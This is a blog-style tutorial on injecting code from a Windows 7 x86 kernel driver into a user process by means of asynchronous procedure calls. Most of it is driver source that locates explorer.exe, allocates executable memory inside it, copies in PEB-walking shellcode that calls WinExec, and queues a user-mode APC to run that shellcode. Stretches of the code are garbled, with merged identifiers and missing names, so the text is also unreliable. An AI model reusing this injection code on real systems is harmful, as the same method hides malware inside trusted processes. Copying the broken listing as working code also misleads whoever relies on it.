APC Injection of Windows 7 x86 in R0

APC Injection of Windows 7 x86 in R0

Introduction

When running in kernel mode, it may be necessary to inject code into a User-land process. We can use the Asynchronous Procedure Calls(APCs) to accomplish this goal. An APC can “borrow” a process thread that is in an idle alertable state, and while it relies on structures whose offset change between versions of Microsoft Windows, it is one of the most reliable and easiest way to exit kernel mode and enter user mode.

In this article, I write some basic knowledge of APC and finished a sample of APC injection which can pop a calculator in windows 7 x86.

Base code is shamelessly stolen from Justgoon .For more information, you can click the link to see his original article: x64 and x64 kernel APC injection (coded)

https://bbs.pediy.com/thread -222438.htm

What is APCs

? According to the MSND: An asynchronous procedure call (APC) is a function that executes asynchronously in the context of a particular thread. When an APC is queued to a thread, the system issues a software interrupt. The next time the thread is scheduled, it will run the APC function. An APC generated by the system is called a kernel-mode APC. An APC generated by an application is called a user-mode APC. A thread must be in an alertable state to run a user-mode APC.

? Each thread has its own APC queue. When a user-mode APC is queued, the thread to which it is queued is not directed to call the APC function unless it is in an alertable state. A thread enters an alertable state when it calls the SleepEx,SingnalObjectAndWait,MsgWaitForMultipleObjectsEx,WaitForMultipleObjetsEx,or WaitForSingleObjectEx function. If the wait is satisfied before the APC is queued, the thread is no longer in an alertable state so the APC function will not be executed. However, the AP C is still queued, so the APC function will be executed when the thread calls another alertable wait function.

We can use the dt command in windbg to displays information about the APC’ s.

The _KAPC structure. This is the Kernel Object of the APC.

kd> dt _kapc
ntdll!_KAPC
+0x000 Type: // Type of ApcObject
+0x001 SpareByte0:
+0x002 Size:
+0x003 SpareByte1:
+0x004 SpareLong0:
+0x008 Thread: //_KTHREAD of current thread< br /> +0x00c ApcListEntry: //APC queue of current thread
+0x014 KernelRoutine:
+0x018 RundownRoutine:
+0x01c NormalRoutine:
+0x020 NormalContext: //
+0x024 SystemArgument1:
+0x028 SystemArgument2:
+0x02c ApcStateIndex: // Apc State
+0x02d ApcMode: // UserMode or KernelMode
+0x02e Inserted: // inserted i nto the queue?

APC queue information in the _KTHREAD

kd> dt _kthreadntdll!_KTHREAD ... +0x040 ApcState: _KAPC_STATE +0x040 ApcStateFill: [23] UChar ...

In the _KAPC_STATE, the last filed determined if the user APC function be called.

kd> dt _KAPC_STATEntdll!_KAPC_STATE +0x000 ApcListHead: [ 2] _LIST_ENTRY +0x010 Process: Ptr32 _KPROCESS +0x014 KernelApcInProgress: UChar +0x015 KernelApcPending: UChar +0x016 UserApcPending: UChar // work when set to 1

How to Insert a APC into a process

To insert a APC in the process from r0 to r3, essentially performs the following:

  • Step1 : Find the suitable process and thread object which can be injected APC.
  • Step2: Get the target process handle by ObOpenObjectByPointer.
  • Step3: Invokes ZwAllocateVirtualMemory to commit a piece of memory in target process for storing the APC shellcode.
  • Step4: Set the UserApcPending to 1
  • Step5: Invokes KeInitializeApc to initialize a APC object
  • Step6: Invokes KeInsertQueueApc to insert APC to the target thread.

Code

Header.h

#include#include//Some type#define POINTER ULONG//EPROCESS OFFSET#define OBJECTTABLE_OFFSET 0xf4#define IMAGEFILENAME_OFFSET 0x16c#define ACTIVEPROCESSLINKS_OFFSET 0xb8#define THREADLISTHEAD_OFFSET 0x188//THREAD_OFFSET #define THREADLIST OFFSET#define_OFFSET#define_OFFSET #define TEB_OFFSET 0x88 #define USERAPCPENDING_OFFSET 0x56//typedef enum _KAPC_ENVIRONMENT {OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment} KAPC_ENVIRONMENT;//VOID DriverUnload(IN PVOR_OBEVJECT) pDrvENT PKEAN INTERKEAN PVOR Thread, add; ;BOOLEAN FindTargetEProcessAndEthread(POINTER* ptarEprocess, POINTER* ptar Ethread);void UserExec();void UserExec_end(VOID);/* Function prototypes for APCs */VOIDKeInitializeApc(PKAPC Apc,PKTHREAD Thread,CCHAR ApcStateIndex,PVOID KernelRoutine,PVOID RundownRoutine,PVOID NormalRoutine,InPCPROCESSOR_MODE); (PKAPC Apc,PVOID SystemArgument1,PVOID SystemArgument2,UCHAR unknown);VOID KernelApcCallback(PKAPC Apc, PVOID *NormalRoutine, PVOID *NormalContext, PVOID* SystemArg1, PVOID* SystemArg2);

source.c

#include "Header.h"NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDrvObj, IN PUNICODE_STRING pRegStr){ UNREFERENCED_PARAMETER(pRegStr); NTSTATUS ntStatus = STATUS_SUCCESS; DbgPrint("[+] DriverEntry !
") ; pDrvObj->DriverUnload = DriverUnload; HANDLE hThread; ntStatus = PsCreateSystemThread( &hThread, 0, NULL, NtCurrentProcess(), NULL, ThreadFunc, NULL ); if (!NT_SUCCESS(ntStatus)) {DbgPrint("[-] PsCreateSystemThread F ailed!
");} return ntStatus;}VOID DriverUnload(IN PDRIVER_OBJECT pDrvObj){ UNREFERENCED_PARAMETER(pDrvObj); DbgPrint("[+] DriverUnload!
");}VOID ThreadFunc(IN PVOTERID pParam){ UNREFERENCED_PARAMETER(pDrvObj); ); BOOLEAN bTrue = TRUE; NTSTATUS ntStatus = STATUS_SUCCESS; POINTER tarEprocess = 0, tarEthread = 0; HANDLE hProcess = NULL; PKEVENT pKevent = NULL; SIZE_T shellcodeSize = 0; PVOID addrAllocMem = NULL; KAPC_STATE ApcState); This while is a program skill learn form MSDN {//Find a process's EPROCESS which can be inserted APC if (FindTargetEProcessAndEthread(&tarEprocess, &tarEthread) != TRUE) {DbgPrint("[-] FindTargetEProcessAndEthread Failed!
"); break; } //Alloc mem and copy code in target process shellcodeSize = (ULONG)(UserExec_end)-(ULONG)(UserExec); DbgPrint("[+] User Thread Shellcode Size: %d bytes
", shellcodeSize); ntStatus = ObOpe nObjectByPointer((PVOID)tarEprocess, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, GENERIC_ALL, *PsProcessType, KernelMode, &hProcess ); if (!NT_SUCCESS(ntStatus)) {DbgPrint("[-] ObOpenObject} ByPointer ); = ZwAllocateVirtualMemory(hProcess, &addrAllocMem, 0, &shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(ntStatus)) {DbgPrint("[-] ZwAllocateVirtualMemory Failed!
"); breaktar;} KeAttachStackProcessState(EPE) ); RtlCopyMemory(addrAllocMem, (PVOID)((ULONG)UserExec), shellcodeSize); KeUnstackDetachProcess(&ApcState); //Create KEVENT pKevent = ExAllocatePool(NonPagedPool, sizeof(KEVENT)); if (!pKevent) {DbgPrint((" [-] ExAllocatePool(pKevent) Failed!
")); break;} KeInitializeEvent(pKevent, NotificationEvent, FALSE); //Insert APC in target process if (InsertApc(tarEthread, (ULONG)addrAllocMem, pKevent)) {DbgPrint("[+] Insert Apc Successfully!
"); KeWaitForSingleObject(pKevent, Executive, KernelMode, FALSE, NULL);} else {DbgPrint("[-] Insert Apc Failed!
");} break;} //Clear if (pKevent) {ExFreePool(pKevent);} if (hProcess) { if (addrAllocMem) {LARGE_INTEGER liTime; // Negative value means relative time, not absolute liTime =RtlConvertLongToLargeInteger(-(LONG)1000*10000*10); //Callers of KeDelayExecutionThread must be running at IRQL <= APC_LEVEL. DbgPrint(" KeGetCurrentIrql = %d
", KeGetCurrentIrql()); KeDelayExecutionThread(KernelMode,TRUE,&liTime); //Maybe the user mode shellcode executed,otherewise free the shellcode m emory will crash the explorer.exe ZwFreeVirtualMemory(hProcess, &addrAllocMem, &shellcodeSize, MEM_RELEASE);} ZwClose(hProcess);} DbgPrint("[+] Thread End!
"); //Terminate the system thread PsTerminateSystemThread(STATUS_SUCCESS); }BOOLEAN InsertApc(POINTER tarEthread, POINTER addrAllocMem, PKEVENT pKevent ){ PKAPC pKapc; pKapc = ExAllocatePool(NonPagedPool, sizeof(KAPC)); if (pKapc == NULL) {DbgPrint("[-] ExAllocatePool(NonPagedPC) size )) Failed!
"); return FALSE;} //Initialize APC KeInitializeApc(pKapc, (PKTHREAD)tarEthread, OriginalApcEnvironment, (PVOID)(ULONG)KernelApcCallback, NULL,(PVOID)addrAllocMem ,UserMode, NULL); // Set the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending DbgPrint("[+] xxx %x
", tarEthread); *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 1; if (!KeInsertApc(pKapc, pKevent, (PVOID )tarEthread, 0)) {//Reset the _ETHREAD._KTHREAD._KAPC_STATE.Use rApcPending *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0; ExFreePool(pKapc); DbgPrint("[-] KeInsertQueueApc Failed!
"); return FALSE;} return TRUE;}VOID KernelApcCallback(PKAPC Apc,PVOID * NormalRoutine,PVOID *NormalContext,PVOID* SystemArg1,PVOID* SystemArg2){ UNREFERENCED_PARAMETER(NormalRoutine); UNREFERENCED_PARAMETER(NormalContext); UNREFERENCED_PARAMETER(SystemArg2); PKEVENT pKevent; POK tarEthread =ArgENT (PKevent) (PKevent); SystemArg2; if (pKevent) {//Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0; KeSetEvent(pKevent, IO_NO_INCREMENT, FALSE);} ExFreePool(EpcEAN FindEProcess (POINTER* ptarEprocess, POINTER* ptarEthread){ POINTER beginEprocess,curEprocess,beginEthread,curEthread; BOOLEAN bRet = FALSE; beginEprocess = (POINTER)PsGetCurrentProcess(); curEprocess = beginEprocess; //Travser backwards from the current eprocess to find the explorer's eprocess do {//eprocess.ObjectTable == NULL means it is a dead process if (*((POINTER*)(curEprocess + OBJECTTABLE_OFFSET)) != 0 && 0 == _stricmp(((char*)(curEprocess + IMAGEFILENAME_OFFSET)), "explorer.exe")) {*ptarEprocess = curEprocess; bRet = TRUE; break;} curEprocess = *((POINTER*)(curEprocess + ACTIVEPROCESSLINKS_OFFSET ))-ACTIVEPROCESSLINKS_OFFSET;} while (curEprocess != beginEprocess); //Travers thread if (bRet) {bRet = FALSE; beginEthread = *((POINTER*)(*ptarEprocess + THREADLISTHEAD_OFFSET))-THREADLISTENTRY_OFFSET; curEthread = beginEthread; do {if (*((POINTER*)(curEthread + TEB_OFFSET)) != 0) {*ptarEthread = curEthread; bRet = TRUE; break;} curEthread = *((PO INTER*)(beginEthread + THREADLISTENTRY_OFFSET))-THREADLISTENTRY_OFFSET;} while (curEthread!=beginEthread);} return bRet;}__declspec(naked) void UserExec(){ __asm ​​{push ebp mov ebp, esp sub esp, 150h pushad mov eax , fs:[0x30];// peb mov ebx, [eax + 0xc]; //peb->Ldr mov esi, [ebx + 0x14];//peb->Ldr.Inmemorder lodsd;//eax="ntdll .dll" xchg eax, esi; lodsd;//eax="kernel32.dll" mov ebx, [eax + 0x10]; //ebx = base address mov edx, [ebx + 0x3c]; //DOS->e_ifanew add edx, ebx; // PE header mov edx, [edx + 0x78];// edx = offset of EAT add edx, ebx;// EAT mov esi, [edx + 0x20]; //Address of Names(RVA) add esi, ebx;//Name Table xor ecx, ecx;//index=0 Find_index: inc ecx; lodsd;//mov eax,[esi] RVA add eax, ebx; cmp dword ptr[eax], 0x50746547;//PteG jnz Find_index; cmp dword ptr[eax + 0x4], 0x41636f72;//Acor jnz Find_index; cmp dword ptr[eax + 0x8], 0x65726464; // erdd jnz Find_index; //get! mov esi, [edx + 0x24];//AddressOfNameOrdinals RVA add esi, ebx;//Ord Table mov cx, [esi + ecx * 2];//cx = realindex mov esi, [ edx + 0x1c];//AddressOfFunction RVA add esi, ebx;// dec ecx;// indx-1 mov edx, [esi + ecx * 4]; add edx, ebx;//GetProcAddress real address push 0x00636578;// xec push 0x456E6957;//WinE push esp; push ebx; call edx; add esp,8 push 0; push 0x636c6163;//calc mov edi, esp; push 0; push edi; call eax; add esp, 8 popad mov esp, ebp pop ebp ret }}__declspec(naked) void UserExec_end(VOID){}

Conclusion

share picture

Leave a Comment

Your email address will not be published.